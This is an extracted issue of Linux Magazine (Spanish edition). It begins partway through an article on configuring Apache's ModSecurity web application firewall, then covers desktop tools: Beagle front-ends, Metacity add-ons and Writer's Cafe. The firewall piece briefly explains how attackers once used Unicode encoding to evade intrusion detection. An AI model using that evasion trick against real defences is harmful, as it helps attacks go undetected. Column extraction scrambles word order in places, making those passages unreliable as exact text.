tado el módulo de Apache mod_unique_id.

Además de esto, la versión 1.9 y el nuevo

soporte para el registro Guardian, es decir, estas

versiones pueden pasar información de registro a

HTTP Guardian [3] que toma el control de IPta-

bles y pf firewalls, además del controlador IDS

Snortsam [4]. Por defecto, HTTP Guardian blo-

quea a los clientes que envíen más de 120 peticio-

nes por minuto o más de 360 peticiones en cinco

minutos. El programa está aún en fase de

desarrollo, pero funciona bien y está bien docu-

mentado.

Configuración BásicaSe va a utilizar la configuración básica del Listado

2 como punto de partida para realizar algunos

ajustes personalizados. Algo similar a este listado

está también disponible en el sitio web oficial del

proyecto. Si se pretende probar el conjunto de

reglas en un sistema de producción, es lógico que

se intenten registrar las infracciones potenciales

durante la fase de prueba para evitar el bloqueo

62 Número 21 W W W . L I N U X - M A G A Z I N E . E S

ADMINISTRACIÓN • Apache ModSecurity

Figura 1: ModSecurity se sitúa delante del

servidor web y de las aplicaciones web, pro-

tegiéndolos de los ataques.

El estándar Unicode proporciona un

conjunto de caracteres unificado para

los caracteres internacionales. El con-

junto de caracteres ASCII utilizaba 7 u 8

bits para codificar cada carácter,

restringiendo así el número a 128 ó 256

respectivamente, siendo algunos de

éstos utilizados para propósitos de con-

trol. Dependiendo de la versión, Unicode

utilizará hasta 32 bits (4 bytes) para codi-

ficar cada carácter. Esto quiere decir que

Unicode puede mostrar incluso runas y

jeroglíficos.

Como contrpunto, la técnica de re-

escribir los exploits usando Unicode ha

ayudado a los atacantes a saltarse los

IDS (Intrusion Detection Systems) en el

pasado. Por ejemplo, el carácter / se rep-

resenta en Unicode como &#47 y esta

clase de ofuscación podría anular a los

IDS. ModSecurity desencripta las cade-

nas Unicode estableciendo SecFil-

terCheckUnicodeEncoding a On, dán-

dole la posibilidad a los filtros de detec-

tar los posibles exploits.

Los Peligros del Unicode

ADMINISTRACIÓN • Apache ModSecurity

64 Número 22 W W W . L I N U X - M A G A Z I N E . E S

<Location /subcontext/>

SecFilterRemove 1001

</Location>

Este ejemplo simplemente deshabilita la

regla ID 1001 mientras mantiene las otras.

El siguiente hace justo lo contrario: des-

habilita todas las reglas de nivel superior

excepto la 1002 y la 1003:

<Location /subcontext/>

SecFilterInheritance Off

SecFilterImport 1002 1003

</Location>

Para facilitar la creación de conjuntos de

reglas, el proyecto Modsecurity Rule Sets

[2] y el sitio web Gotroot [6] ofrecen con-

juntos de reglas preconfiguradas para des-

cargarse. Las reglas de Gotroot soportan las

nuevas características de ModSecurity 1.9,

que las hacen incompatibles con las versio-

nes anteriores.

Características AdicionalesModSecurity posee otras opciones de seguri-

dad además de los mecanismos de filtrado

simples. La función SecUploadApproveScript

/ruta/a/script.sh permite comprobar los

ficheros que se suban para analizarlos en

busca de virus ejecutando el script que se

encarga de disparar al programa antivirus.

La documentación en línea tiene un ejemplo

de script. El módulo también configura una

“chroot jail” con la sentencia SecChrootDir

/var/www/, impidiendo que los scripts CGI

o binarios se salgan de la “cárcel”.

RendimientoDependiendo de la escala del conjunto de

reglas, ModSecurity puede afectar seria-

mente el rendimiento del servidor web. Una

prueba con ab muestra el impacto en el ren-

dimiento. El banco de pruebas forma parte

del paquete del servidor Apache. Se lanza la

herramienta con los

siguientes paráme-

tros: time ab -n 500 -c

30 http://servidor/

phbBB2/index.php.

En un sistema con

una CPU mobile Pentium 4 (no Centrino) a

1.8 Ghz se midió un tiempo de cerca de 55

segundos para el banco de pruebas con

Apache 2.0.55-a sin ModSecurity.

Habilitando ModSecurity con la

configuración básica mostrada en el Listado

2 se ralentizó el servidor Apache alrededor

de un dos por ciento, pero después de habi-

litar el conjunto de reglas modsecurity-gene-

ral, tal y como lo proporciona el proyecto

ModSecurity Rules [6], el servidor web

tardó del orden del 15 al 20 por ciento más

de tiempo en servir las páginas solicitadas.

Los administradores con servidores web

con bastantes accesos tendrán que tener los

conjuntos de reglas tan simples como les

sea posible para evitar un gran impacto en

su rendimiento. Además del número de

reglas, la complejidad de las utilizadas es

también un factor importante. Si se tienen

filtros con expresiones regulares, el conjunto

de reglas consumirá muchos más ciclos de

CPU que aquéllas con operadores de com-

paración simples. Como regla general:

cuanto más precisa sea la personalización

del conjunto de reglas para reflejar las nece-

sidades del filtrado, menor carga se gene-

rará.

Como Apache 1 no tiene un PCRE regexp

engine, al contrario que Apache 2, la carga

en la versión 1 es ligeramente superior. Si un

servidor web está expuesto a un ataque

masivo, un conjunto de reglas bien configu-

radas de ModSecurity pueden incluso mejo-

rar su rendimiento, ya que las peticiones no

llegarán en realidad a los scripts.

Como cualquier otra aplicación de seguri-

dad basada en reglas, la ganancia potencial

en seguridad dependerá de gran medida del

conjunto de reglas que se utilice. Dicho de

otro modo, los ataques que los conjuntos de

reglas no cubran explícitamente llegarán al

servidor.

ConclusionesComo barrera adicional contra los ataques

de las aplicaciones web, ModSecurity

proporciona un mecanismo de protección

extra. La efectividad del mismo dependerá

principalmente de la configuración del

conjunto de reglas, como es el caso de las

herramientas de protección basadas en

reglas. Suponiendo la mejor configuración

posible, el módulo puede defender al

servidor y a las aplicaciones web que

alberga de la mayoría de los ataques.

Una configuración inadecuada podría dejar

agujeros de seguridad e impedir que el

servidor sirva parte del contenido legítimo.

Cuando se instale ModSecurity, hay que

considerar cuidadosamente cada regla de

filtrado antes de aplicarla. �

Figura 2: En nuestro ejemplo, el módulo ModSecurity de Apache se

defiende con éxito de un ataque de inyección de SQL, registrando el

intento en el fichero error.log del servidor web.

Figura 3: El registro de auditoría de ModSecurity almacena los detalles y las cir-

cunstancias que rodean el ataque, además proporciona al administrador datos

útiles concernientes a los eventos del día.

[1] ModSecurity: http://www.

ModSecurity.org

[2] Conjunto de reglas de ModSecurity:

http://www.ModSecurity.org/projects/

rules/

[3] Herramientas Apache Httpd: http://

www.apachesecurity.net/tools/

[4] Snortsam: http://www.snortsam.net

[5] Kit de Herramientas Spread: http://

www.spread.org

[6] ModSecurity reglas: http://www.

gotroot.com/ tiki-index.

php?page=mod_security+rules

[7] Mambo, SQL exploit: http://www.

milw0rm.com/exploits/1061

RECURSOS

6767ISSUE 52 MARCH 2005W W W . L I N U X - M A G A Z I N E . C O M

Bienvenidos a Linux UserEsta es la sección dedicada a la presentación de software interesante y útil que nos ayuda en nuestro quehacer diario con

el escritorio Linux. Aquí aprenderemos a utilizar software estándar de una manera más eficiente, adquiriremos valiosos

conocimientos y descubriremos nuevas y apasionantes aplicaciones.

Ktools: Kbeagle 66

Si se ha perdido la esperanza de encontrar el camino

entre la masa de datos de tu ordenador de sobremesa,

lo mejor es usar un motor de búsqueda que permita

guiarnos a través de la selva. Kerry y KBeaglebar nos

acercan el motor Beagle al escritorio KDE.

Metacity 68

Si el espartano administrador de ventanas Metacity note da la funcionalidad que necesitas, prueba con losañadidos Brightside y Devil’s Pie de Metacity.

Érase una vez 70

Si estás buscando el modo de organizar tu próximanovela, prueba con StoryLines y la suite Writer’s Cafe.

Educación 74

No podemos cerrar el estudio sin examinar las propuestas de laindustria de la traducción: la especificación XLIFF y sus herra-

mientas. ¿Está el software libre a la altura?

Linea de comandos: Isos 79Si se están creando copias de seguridad, salvando datoso copiando CDs arrancables, dd y mkisofs te ayudan arealizar este trabajo estupendamente.

Juegos: Mania drive 82

Los más veteranos en el mundo de los juegos cono-cerán títulos como Stunts, los primeros simuladores 3Dde conducción que existieron y que causaron sensaciónentre el público en general. A estos jugones les encan-tará ahor ahora Mania Drive.

mación sobre la configuración de Mono y Bea-

gle. Mono es bastante extenso y necesita un

gran número de librerías. Si no se posee la ver-

sión actual de Mono, será imprescindible

armarse de paciencia para la sesión de des-

carga.

KBeaglebarLa aplicación de la barra de herramientas de

KBeaglebar se introduce en el Kicker de KDE y

presenta un cuadro donde los usuarios pueden

introducir claves de búsqueda al pulsar una

tecla o botón. El autor de KBeaglebar pretende

integrar la herramienta con yaBI [6] en una

etapa posterior. KBeaglebar requiere una ver-

sión Mono reciente (1.1.10 o superior), la ver-

sión más reciente de Beagle disponible (0.2.1 o

superior) y la versión 3.4 de KDE o superior.

InstalaciónLa aplicación es fácil de con-

figurar si ya se ha traba-

jado con la instala-

ción de Beagle. Para

ello se desempaqueta el archivo de código fuente

desde [3] introduciendo tar -xjvf kbeagle-

bar-0.4.0.tar.bz2, cambiamos al directorio kbea-

glebar y se escribe ./configure para crear los

Makefiles necesarios para la compilación. Luego

se escribe make para comenzar a compilar y

cuando se complete, se introduce el comando su

-c “make install” y se suministra la contraseña de

root cuando se requiera. Hasta este momento, el

programa aun continúa oculto. Para habilitarlo se

hace un clic en el espacio vacío en el Kicker y se

selecciona Add to Panel | Applet | Beagle KDE Bar

. Este comando sitúa un botón de búsqueda Bea-

gle en el panel. Luego puede pulsarse [Ctrl] +

[Alt] + [Space] para abrir el cuadro de entrada de

la clave de búsqueda.

Buscar y EncontrarCuando se introduce una clave de búsqueda en el

cuadro de entrada, Beagle comienza a buscar

documentos que contienen la clave de búsqueda.

KBeaglebar proporciona los resultados de la bús-

queda en forma de menú (Figura 1). Si un pro-

grama está unido al fichero, puede cargarse

haciendo clic sobre el resultado de la búsqueda.

De manera predeterminada el programa sólo

devuelve cinco ficheros o programas que contie-

nen la clave de búsqueda. La configuración sólo

permite hasta nueve coincidencias. Como éste

es un número relativamente pequeño, tiene

sentido definir la clave de búsqueda con toda la

precisión que nos sea posible.

KBeaglebar maneja únicamente claves de

búsqueda de Beagle, es decir, manteniendo el

LINUX USER • KTools: Kbeagle

La herramienta de búsqueda de escritorio

Beagle [1] crea un índice de ficheros en

los dispositivos locales permitiendo al

usuario la búsqueda de información de manera

más rápida. El programa, escrito en Mono [2],

usa la interfaz Gtk Sharp (Gtk#), una librería

.NET que enlaza con el kit de herramientas para

GUIs Gtk+. Para el escritorio KDE, dos son los

programas encargados de la mejora de la usabi-

lidad de Beagle: KBeaglebar [3] y Kerry Beagle

[4].

Beagle ha comenzado a aparecer en la mayo-

ría de las distribuciones Linux, por lo que es

muy probable que la versión Linux de que se

disponga ya lo posea. En caso contrario, en el

Número 11 de la edición en castellano de Linux

Magazine puede

conseguirse

más

infor-

Búsqueda de Escritorio con Beagle en KDE

¡BUSCA!Si se ha perdido la esperanza de encontrar el camino entre la masa de

datos de tu ordenador de sobremesa, lo mejor es usar un motor de

búsqueda que permita guiarnos a través de la selva. Kerry y KBeagle-

bar nos acercan el motor Beagle al escritorio KDE.

POR FRANK WIEDUWILT

Figura 1: KBeaglebar mostrando los resulta-

dos de la búsqueda en un menú.

66 Número 22 W W W . L I N U X - M A G A Z I N E . E S

67

KTools: Kbeagle • LINUX USER

formateado especial que Beagle usa para restrin-

gir la búsqueda o excluir términos específicos.

KBeaglebar a MedidaEl programa no ofrece mucho en lo que se

refiere a opciones de configuración. Para usar las

opciones disponibles, se hace clic en la flecha de

la izquierda del icono de KBeaglebar en el panel y

se selecciona Configure Beagle KDE Bar...desde el

menú.

Aparece un cuadro de diálogo con tres pesta-

ñas. Puede usarse la primera pestaña para confi-

gurar el atajo de teclado para arrancar la ventana

de búsqueda. La segunda de las pestañas permite

establecer el ancho del menú para los resultados

de la búsqueda y especificar el número de coinci-

dencias que se desean que KBeaglebar presente.

La tercera pestaña del cuadro de diálogo tiene

un botón para arrancar el programa de control de

Beagle y que puede usarse para personalizar Bea-

gle. El software presenta el estado del índice y per-

mite especificar los directorios que se deseen que

sean creados e indexados por Beagle.

KerryEl segundo front-end para Beagle, Kerry, se

originó en los laboratorios de Suse y fue

incluido por primera vez en

Suse Linux 10.1. Ahora, el

equipo de desarrollo de KDE ha

tomado la herramienta y la ha

integrado al entorno de

escritorio de KDE. Kerry

requiere una versión KDE 3.4 o

superior y la versión más

reciente de Beagle que pueda

encontrarse (0.2.1 o superior).

A menos de que se disponga

de la versión actual OpenSuse

10.1 o Ubuntu 6.06 o superior,

no tendremos más alternativa

que compilar la aplicación

desde el código fuente. El pro-

grama demostró ser un poco

exigente: en Mandriva 2006 tuvimos que

actualizar a KE 3.5 para completar la compi-

lación, mientras que en Ubuntu 5.10 nos

vimos obligados a instalar una nueva versión

de Mono y una nueva de Beagle. Kerry

renunció a ejecutarse con la versión suminis-

trada por las fuentes retroportadas de

Ubuntu.

Tras salvar estos obstáculos, desempaque-

tamos el archivo kerry-0.1.tar.bz2 esribiendo

tar -xjvf kerry-0.1.tar.bz2, cambiamos al

nuevo directorio kerry y escribimos ./confi-

gure. Posteriormente introducimos el

comando make para comenzar la compila-

ción y finalmente escribir su -c “make install.”

Escribiendo kerry & en una ventana de

emulación de terminal se abre la ventana

principal del programa. Puede usarse el cua-

dro de texto superior para introducir una

clave de búsqueda o claves de búsqueda, y

los resultados serán presentados en el cuadro

bajo él (Figura 2). El programa muestra imá-

genes previas de tipos de ficheros conocidos.

Puede usarse la lista Within: a la derecha

del cuadro de entrada para restringir la bús-

queda a tipos de ficheros específicos, tales

como páginas HTML o documentos de texto.

Haciendo clic en More results carga las coinci-

dencias que faltan en la ventana del pro-

grama.

Haciendo clic con el botón derecho en los

resultados de la búsqueda presenta un menú

contextual donde puede seleccionarse cómo

ordenar los resultados.

Al igual que KBeaglebar, Kerry añade un

icono al kicker. Haciendo clic con el botón

derecho sobre el icono de Kerry se abre un

menú que permite volver a acceder a las

cinco últimas búsquedas (Figura 3), y el cua-

dro de diálogo de configuración del programa

también es accesible a través del menú selec-

cionando Configure Kerry (Figure 4).

En la primera pestaña del cuadro de diá-

logo de configuración puede especificarse el

atajo de teclado abriendo la ventana de bús-

queda y el orden en el que Kerry presenta los

resultados. La opción Start search and inde-

xing services automatically arranca automáti-

camente Beagle al comienzo de la sesión

KDE. La opción Maximum number of results

displayed permite hacer a medida la presen-

tación de los resultados, al igual que ocurriera

con KBeaglebar. Kerry, sin embargo, no

aplica un límite superior.

ConclusionesBeagle facilita el acceso a ficheros almace-

nados localmente. KBeaglebar y Kerry inte-

gran Beagle en KDE sin fisuras y facilitan el

acceso a los índices almacenados. Sin

embargo, KBeaglebar sacrifica esta ventaja

restringiendo el número máximo de bús-

quedas a nueve.

Kerry se erige en el ganador con su bien

definida perspectiva de resultados de bús-

queda y el soporte de filtrado. Kerry tam-

bién ofrece más opciones flexibles de

configuración suministrando una vista pre-

via de los ficheros que encuentra. �

[1] Beagle: http://www.beagle-project.org

[2] Mono: http://www.go-mono.com

[3] KBeaglebar: http://www.kde-apps.org/

content/show.php?content=35781

[4] Kerry: http://en.opensuse.org/Kerry

[5] “Olfato Canino: El buscador de

escritorio Beagle,” por Tim Schür-

mann; Linux Magazine Edición en

Castellano, Número 11: http://www.

linux-magazine.es/issue/11/Beagle.pdf

[6] yaBI: http://www.kde-apps.org/

content/show.php?content=33222

RECURSOS

Figura 2: La ventana principal de Kerry ofrece un útil

resumen de los resultados de la búsqueda.

Figura 4: Kerry permite a los usuarios arrancar

automáticamente el motor de búsqueda Beagle

cuando abren una sesión KDE.

Figura 3: El menú de contexto de Kerry per-

mite acceder a las cinco últimas búsquedas.

67Número 22W W W . L I N U X - M A G A Z I N E . E S

ejemplo. Devil’s Pie les ofrece la posibilidad de

especificar varias acciones que el escritorio

puede llevar a cabo cuando arrancan los pro-

gramas. Ambas utilidades usan Extended

Window Manager Hints [2] para comunicarse

con el administrador de ventana.

Esquinas ActivasAlgunas distribuciones, como Ubuntu Dapper

Drake y Fedora Core 5, incluyen Brightside en

sus repositorios. Como alternativa, siempre

puede compilarse el programa uno mismo

usando los paquetes disponibles en [3].

Brightside es bastante frugal con respecto a las

dependencias, de hecho, sólo serán necesarias

principalmente las típicas librerías Gnome.

Libwnck es la inusual excepción a esta

regla. Ofrece información sobre los programas

del escritorio activo y facilita ciertas herra-

mientas de programación, como conmutado-

res de tareas.

Después de emitir el comando make install

para instalar el programa, deberían tenerse en

el disco los binarios brightside y brightside-pro-

perties. Brightside podrá encontrarse en el

menú bajo System | Preferences | More Prefe-

rences. Se configura usando la herramienta

brightside-properties (Figura 1). Para habilitar

las acciones que se configuran con el pro-

grama, o bien se necesita arrancar Brightside

manualmente, o bien añadirlo a la lista de pro-

gramas a arrancar cuando comienza una

sesión Gnome en gnome-session-properties.

Para cada una de las cuatro esquinas de la

pantalla se configura una acción. La acción

puede ser modificada en el menú desplegable:

deshabilitar y habilitar el sonido de salida,

poner en marcha el salvapantallas o incluso

hibernar una máquina.

Desafortunadamente, todas estas acciones

están metidas en el código, en lugar de defi-

68

LINUX USER • Metacity

El software no es una excepción a la

regla por todos conocida de que “para

gustos, los colores”. Algunos usuarios

disfrutan con una sobreabundancia de carac-

terísticas y un casi barroca presentación,

mientras que otros prefieren ser más prácticos.

Los administradores de ventanas llevan estas

preferencias hasta los extremos, yendo desde

los minimalistas TWM hasta el altamente

complejo Enlightenment, un administrador de

ventanas que provee de todos los pitos y flau-

tas imaginables e incluso animaciones [1].

Matacity, el administrador de ventanas para

el escritorio Gnome, está diseñado con simpli-

cidad, sin confundir a los usuarios con una

sobreabundancia de opciones. Para alcanzar

esta meta se concentra en la misión principal

de todo administrador de ventanas: dibujar

decoraciones de ventanas, organizarlas y

moverlas. Los applets de Gnome sirven para

manejar funciones adicionales tales como

escritorios virtuales.

Este artículo describe un par de programas

llamados Brightside y Devil’s Pie que añaden

útiles características a Metacity. Brightside

suministra soporte de ratón a esquinas y bor-

des del escritorio Gnome, permitiendo a sus

usuarios saltar entre escritorios virtuales, por

Los añadidos Brightside y Devil’s Pie de Metacity

LUCES DE LA CIUDAD

Si el espartano administrador de ventanas Metacity no te da la fun-

cionalidad que necesitas, prueba con los añadidos Brightside y Devil’s

Pie de Metacity. POR OLIVER FROMMEL

Figura 1: Brightside permite a los usuarios asig-

nar una acción a cada esquina del escritorio.

68 Número 22 W W W . L I N U X - M A G A Z I N E . E S

69

Metacity • LINUX USER

nirse a través del fichero de configuración. En

nuestro laboratorio, el arranque de la función

salvapantallas no funcionó bien porque usa

comandos para la herramienta Xscreensaver,

que no tiene Fedora Core 5.

Definición de AccionesMetacity soporta acciones a medida creadas

por el usuario que permiten asignar acciones

distintas de las predeterminadas para reactivar

las esquinas. Cuando se selecciona una acción

a medida, Brightside presenta un pequeño

cuadro de diálogo donde puede introducirse el

programa a ejecutar (Figura 2). Para que

comience el salvapantallas de Fedora Core 5 a

través de una esquina reactiva, se introduce

gnome-screen-saver-command -activate for On

entering region. No es preciso configurar las

opciones que Brightside ofrece para cuando se

abandona la esquina reactiva: el salvapanta-

llas se deshabilita automáticamente cuando se

mueve el ratón.

Conmutación SuaveLa característica de los bordes sensibles,

por la cual se permite conmutar entre

escritorios virtuales cuando se mueve el

ratón sobre la izquierda o la derecha del

borde de la pantalla, también es una

interesante opción de Brightside. Una

demora configurable previene de conmu-

taciones accidentales (ver Figura 1). Y,

por cierto, Brightside no sólo funciona

con Metacity. En nuestro laboratorio des-

cubrimos que soportaba también Flux-

box y WMX, dos alternativas a Metacity

en Fedora.

Devil’s PieLos desarrolladores de Metacity han evi-

tado deliberadamente añadir una carac-

terística que organiza las ventanas de

forma inteligente. En su opinión, esto no

forma parte del trabajo de un administra-

dor de ventana. Por tanto, el desarrolla-

dor de Gnome, Ross Burtonini, se puso

manos a la obra y escribió una herra-

mienta que rellenaba el hueco.

Devil’s Pie [4] da a los usuarios la

habilidad de especificar lo que ocurre a

una aplicación en el momento de su

arranque, utilizando para ello unos sen-

cillos ficheros de configuración. El com-

portamiento configurable incluye cómo

organizar la ventana de aplicación sobre

la pantalla, bien añadiendo una entrada

a la lista de tareas, la posición sobre el

escritorio virtual, o bien si usar decora-

ciones de ventana. No hay duda de que

vale la pena añadir Devil’s Pie como ele-

mento permanente a cualquier sesión

Gnome.

Sintaxis Lisp sobre XMLHasta la versión 0.12, Devil’s Pie usó

ficheros de configuración formateados

en XML, pero la versión 0.13 introduce

una sintaxis basada en expresiones S, las

cuales pueden verse principalmente en

el contexto del lenguaje de programación

Lisp. Los ficheros residen en el directorio

$HOME/.devilspie y son reconocidos

mediante su extensión .ds. Cada fichero

puede contener una única regla que

gobierna a una única aplicación. Por

ejemplo, la siguiente expresión envía la

ventana de aplicación al segundo escrito-

rio virtual cuando se arranca el cliente

P2P de Amule:

(if

(is (application_name) U

“amule”}

(set_workspace 2)

)

El fichero de configuración siguiente maxi-

miza el reproductor de medios Kaffeine en el

arranque:

(if

(matches U

(application_name) U

“Kaffeine Player”)

(maximize)

)

Usando la palabra clave fullscreen en

lugar de maximize arrancaría Kaffeine en

modo pantalla completa. Si se cambia un

fichero de configuración, es importante

no olvidar rearrancar devilspie para apli-

car los cambios. Si los cambios no tienen

el efecto deseado, se configura la eti-

queta -d cuando se arranca el programa

para investigar los conflictos. Como

alternativa, puede añadirse una orden

(debug) al final del fichero de

configuración.

Devil’s Pie tiene la capacidad de mani-

pular expresiones regulares, al igual que

cualquier herramienta Unix que se pre-

cie. Para ello usaremos la palabra clave

matches. Si se desea que el programa eje-

cute un grupo de instrucciones para una

única aplicación, usaremos la palabra

clave begin indica el comienzo del

grupo:

(if

(matches (application_name) U

“Firefox”}

(begin

(geometry “600x800”)

(center)

)

)

El Wiki de Devil’s Pie [6] y el tutorial en [7]

ofrecen más detalles sobre el uso y

configuración de Devil’s Pie.

Casi PerfectoDevil’s Pie usa ficheros de texto simples

para controlar el manipulado del escrito-

rio y las aplicaciones que se arrancan.

Brightside añade esquinas reactivas y

bordes sensibles.

Desafortunadamente, Brightside no es

tan flexible como debiera, ya que sólo

soporta acciones configurables de un

único usuario. Un fichero de configuración

que especifica acciones básicas debería

tener un sistema mejor. �

[1] Perspectiva de administradores de

ventana X: http://xwinman.org

[2] Extended Window Manager Hints:

http://standards.freedesktop.org/

wm-spec/wm-spec-1.3.html

[3] Brightside: http://home.jesus.ox.ac.

uk/~ecatmur/brightside

[4] Devil’s Pie: http://burtonini.com/blog/

computers/devilspie

[5] Expresiones S: http://theory.lcs.mit.

edu/~rivest/sexp.html

[6] Wiki de Devil’s Pie: http://live.gnome.

org/DevilsPie

[7] Tutorial de Devil’s Pie: http://wiki.

foosel.net/linux/devilspie

RECURSOS

69Número 22W W W . L I N U X - M A G A Z I N E . E S

Figura 2: La acción Custom ofrece a los

usuarios la habilidad de especificar un pro-

grama para que se ejecute Brightside.

Ya está bien de escribir código en la semipenumbra del garaje. Ha llegado el momento de ganar dinero de verdad escribiendouna novela. Pero, ¿cómo hacer para establecer el guión, los personajes, etc? Un procesador de textos, no importa lo avan-zado que sea, no es lo ideal para este tipo de tareas, incluso aunque disponga de una buena función introductoria. Podría

usarse algo como una wiki o KDissert [1], aunque ¿conseguiríamos mantener las cosas organizadas con alguna de las solucionesanteriores? Sabemos que son idóneos para compilar árboles de datos, pero en una historia la cosa cambia, ya que parte de su

atractivo reside en que esos árboles se solapan e interactúan.Una buena opción es StoryLines, parte de Writer’s Cafe, una herramienta de software especialmente diseñada para escri-tores de ficción. StoryLines no genera ideas o crea perfiles, se trata más bien de una colección de herramientas que ayuda-

rán a situar las ideas en una narrativa bien escrita, apropiada y estructurada. Julian Smart de Anthemion software [3]desarrolló Writer’s Cafe a partir de las ideas de su esposa, Harriet, novelista de profesión. Y es que usando la aplica-

ción está claro que su diseño fluye a partir de una experiencia práctica con el proceso de escritura.

InstalaciónWriter’s Cafe es una aplicación multiplataforma que funciona bajo Linux, Windows y MacOSX gracias al

uso de wxWidgets propios de Smart [4]. El primer paso es descargar la versión apropiada desde lapágina web. Existen versiones para Red Hat, Fedora, Suse y Debian. Todas ellas hacen referencia a

versiones de distros un tanto antiguas, aunque la más reciente, la 1.22 para Suse 9.2, funcionabien para Suse 9.3 y Suse 10.0. Colocamos la descarga en un directorio temporal y la descom-

primimos. Se ejecuta el script de instalación ./installwc en un terminal y preguntará por eldirectorio de instalación y por otro en el que situar los scripts de arranque. Yo elegí para

ambos el directorio predeterminado /home/kevin/Writer Cafe-1.22.Se selecciona la opción (1) para instalar Writer’s Cafe y el contenido de la barra detareas se copia al lugar de instalación. Para abandonar la instalación se pulsa 0.

Ahora se puede arrancar el programa yendo al directorio de instalación y escri-biendo ./Writer’s Cafe.

Encontré que para abrir Writer’s Cafe era bastante buena idean añadirle lalínea export BROWSER= “konqueror” al script de arranque. Este paso per-mite arrancar un navegador desde dentro de Writer’s Cafe cuando sea nece-sario. Evidentemente puede establecerse un icono en el escritorio para eje-cutar el programa con un solo clic.

ContenidosWriter’s Cafe está diseñado como una versión virtual de un cafetería real, demodo que abre un escritorio que actúa como un portal para los otros ele-mentos del paquete, los cuales incluyen varias pequeñas golosinas que pue-den no estar directamente emparentadas con el proceso de escritura, aun-

que intenten predisponer al usuario para que escriba: Suena una can-ción llamada “Untie my Tongue” de Jay Goldmark, una colección de

“cookies” (citas cortas sobre la teoría y la práctica de escritura deficción) y un juego de solitario llamado Forty Thieves.

Una guía denominada Getting Started de 10 páginasintroduce las distintas aplicaciones en el paquete de Wri-

ter’s Cafe, también existen guías detalladas sobrecaracterísticas del programa en la solapa Book-shelf.

LINUX USER • Érase una vez

70 Número 22 W W W . L I N U X - M A G A Z I N E . E S

Escribiendo ficción con Writer’s Cafe y StoryLines

ÉRASE UNA VEZ…Si estás buscando el modo de organizar tu próxima novela, prueba con StoryLines y la

suite Writer’s Cafe. POR KEVIN DONNELLY

Scraps proporciona un modo de imponer unpoco de orden a las cosas desorganizadas que sehayan ido introduciendo en Notebook o en Jour-

nal, manteniendo colecciones de materialesemparentados (por ejemplo, búsqueda de ele-mentos, esbozos de personajes, etc.) agrupadosen un mismo sitio. Los Scraps se encuentranarchivados en los scrap books (libros de recor-tes). Pueden crearse tantos libros de recortescomo se deseen, los cuales podrán contenertexto, imágenes y páginas o enlaces web. Unconjunto básico de herramientas de dibujo per-mite colorear y enlazar distintos elementos, demodo que puede comenzarse probando conestructuras de historias, interacciones y otros ele-mentos.

También existe una función que muestra dia-positivas (View | Slideshow) que permite visio-nar imágenes en un libro de recortes. Obsérveseque la ventana que muestra las diapositivas nose abre en toda su extensión, por lo que tendráque ser extendida manualmente para poder verlos controles y la imagen completa.

Yendo a Help | Writing Prompt... (o el iconoestrella de la barra de tareas), puede acce-derse a otra útil herramienta (Figura 3). Éstapresenta una ventana con una sugerencia deun tema sobre el cual escribir y arranca uncontador de 15 minutos de duración (ajusta-ble según se desee). Puede escribirse todo loque se quiera sobre ese tema en el tiempodado (que aparece como una cuenta atrás enun reloj en la pantalla), pudiéndose almace-nar la salida bien en el Notebook, bien en elJournal. Éste es un buen ejercicio de calenta-miento. También puede usarse la facilidad delreloj de manera más general yendo a View |

Timer... y establecer un período específico.Una vez que el tiempo ha llegado a cero, apa-rece una ventana emergente advirtiendo elfinal del mismo.

Por último, otra herramienta, que al igual quelas anteriores pretende ser un calentamientopara la escritura, es World Tiles. Esta utilidad nosproporciona un conjunto de palabras que pue-den moverse de un lado para otro. Se elige unjuego de palabras (tales como circo o romance),y luego se experimenta con ellas colocándolasjuntas de diversas maneras. Es posible añadirpalabras propias a la lista dada (bien a través deEdit | New Word, o bien usando el icono de labarra de tareas), o bien puede crearse una listapropia completamente nueva (View | Preferen-

ces | Word Lists). Aparentemente hay unpequeño fallo aquí, ya que todas las nuevas lis-tas se denominan Writers-Cafe-1 la siguiente vezque se abre la aplicación, incluso si originaria-mente se elige un nombre diferente o si serenombran. Esto es menos serio de lo quepudiera parecer, puesto que, en la mitad inferiordel diálogo se ofrece una visión de los conteni-dos.

La interfaz sólo permite introducir una pala-bra a la vez, pero, ya que las listas (localizadasen installdr/WordTiles/WorldList) son simplesficheros de texto que contienen una palabra porlínea, es posible crear una lista con nuestro edi-tor de textos favorito y colocarlo en el directorio.Sin embargo, nótese que para que sea posibleque WordTiles pueda ver y usar estas listas debehacerse un clic sobre Open en el cuadro de diá-logo WordLists, seleccionar la nueva lista y luegohacer un clic a Open. WordTiles dichas listas conel título correcto.

Personalmente considero que mover las pala-bras en WordTiles es demasiado tedioso. Es másfácil hacer garabatos en Notebook, aunque verpalabras desconectadas situadas una al lado dela otra evidentemente puede dar origen a nuevasideas y asociaciones. Teniendo esto en cuenta,una característica útil para el futuro podría seruna opción que “mezcle” las palabras. BrianEno solía usar una técnica similar para escribirlas letras de sus canciones. Esto permitiría al

En Suse, el texto que se utiliza para este escri-torio es muy pequeño, aunque se puede accedera todos los elementos directamente a través delmenú Tools. Para la mayoría de las aplicacionesmayores puede incrementarse el tamaño de lafuente yendo a View | Settings…| Aesthetics. Estaopción permite entradas de texto más cómodasen los tres principales aplicaciones asistentes:Scraps, Journaly Notebook.

Notebook es simplemente un espacio en elque escribir, permitiendo garabatear cualquieridea que se nos ocurra de la manera más sencillaposible. No es preciso guardar ficheros indivi-duales.

Pueden comenzarse nuevas páginashaciendo clic en un icono y puede verse unalista de todas las páginas yendo a la página decontenidos (obsérvese que esta ventana perma-nece abierta en la parte superior de todas las res-tantes aplicaciones a menos que se haga clicsobre el enlace Closeen la parte superior).

Journal (Figura 2) implementa un ejercicio amenudo recomendado para el aspirante a escri-tor, intentando introducirle en el hábito de escri-bir algo, lo que sea, cada día, manteniendo unaregistro de sus pensamientos y sentimientos.Journal es parecido a Notebook, pero la páginade contenidos lista entradas por fecha en lugarde por páginas. El texto introducido en cual-quiera de estas dos aplicaciones puede ser com-probado usando un corrector ortográfico compi-lado en View | Settings | Spelling.

Figura 1: Writer’s Cafe ofrece una gran variedad de útiles herramientas para escritores de ficción.

Figura 2: Journal hace que escribas algo

cada día

Erase una vez • LINUX USER

71Número 22W W W . L I N U X - M A G A Z I N E . E S

Figura 3: El cuadro de diálogo Writing Prompt

sugiere un tema para un ejercicio de calentamiento.

con ellas en la líneaargumental paraconseguir unaestructura más orga-nizada para la histo-ria.

Por ejemplo,vamos a intentar usarStoryLines para poneren práctica una nuevaidea que se me acabade ocurrir, unpequeño fragmento

